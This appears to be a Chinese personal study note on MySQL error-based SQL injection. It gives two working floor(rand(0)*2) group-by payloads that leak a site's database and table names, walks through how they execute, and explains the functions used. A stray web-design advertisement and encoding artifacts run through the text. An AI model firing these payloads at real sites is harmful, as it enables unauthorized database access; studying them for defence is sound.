學習到MySQL 數(shù)據(jù)庫 利用報錯進行注入,整理了一下個人的學習筆記,僅限于個人的理解。
網(wǎng)站建設哪家好,找創(chuàng)新互聯(lián)!專注于網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、微信小程序開發(fā)、集團企業(yè)網(wǎng)站建設等服務項目。為回饋新老客戶創(chuàng)新互聯(lián)還提供了鄂溫克免費建站歡迎大家使用!
數(shù)據(jù)庫名--------注入語句 得到數(shù)據(jù)庫名
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and 1=1
數(shù)據(jù)庫.表名--------注入語句 得到數(shù)據(jù)庫中的表名
and(select 1 from
(select count(*),concat((select (select (select distinct concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from information_schema.tables where table_schema=0x636D73 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a
) and 1=1
自己對表名注入語句的分析:
首先執(zhí)行綠色區(qū)域之間的語句, select table_name from information_schema.tables where talbe_schema=0x636D73 limit 1,1。這里的0x636D73是前面爆出的數(shù)據(jù)庫名的16進制。第二步執(zhí)行 cast() 函數(shù) ,將表名轉化為字符,然后執(zhí)行hex()函數(shù),將其轉為16進制,最后執(zhí)行concat()函數(shù),將函數(shù)中括號內(nèi)的內(nèi)容連接起來。
淺黃語句為: select 綠色區(qū)域之間的語句;進行一次選擇。含義:在淺黃語句中,執(zhí)行一次綠色語句。
淺紫色語句為:select 淺黃語句 from information_schema.talbes limit 0,1; 含義,在淺紫色區(qū)域中執(zhí)行一次淺黃語句。
下一步,concat() 函數(shù) 并將結果作為x 放到 group by 后執(zhí)行
下一步 執(zhí)行 select count(*) from information_schema.talbes group by concat()淺紫色區(qū)域內(nèi)的內(nèi)容。
最終執(zhí)行 select 1 from 前面所得到的內(nèi)容---深×××區(qū)域內(nèi)容; 解釋: 深×××區(qū)域會生成一個虛擬表,通過查詢第一列,將深×××報錯的內(nèi)容顯示出來。
函數(shù)的部分解釋:
cast() 數(shù)據(jù)類型轉換
cast(expression as data_type) expression 任何有效的sql語句 as用于分隔兩個參數(shù),在as之前的是要處理的數(shù)據(jù),在 as 之后是要轉換的數(shù)據(jù)類型
data_type 數(shù)據(jù)類型
Concat()
沒有分隔的連接字符串
至少兩個參數(shù)
Eg select concat(‘a(chǎn)b’,’cd’);
Rand() 函數(shù) 產(chǎn)生從0-1之間的隨機數(shù)
搭配使用 floor()
Floor()
返回一個不大于x的最大整數(shù)
Rand()
返回0到1之間的隨機浮點數(shù)
另外,關于mysql報錯注入的原理,我參考了紅黑聯(lián)盟的一篇文章,個人收獲很大。將鏈接寫在下面,
以備自己需要時進行查看。
http://www.2cto.com/article/201604/498394.html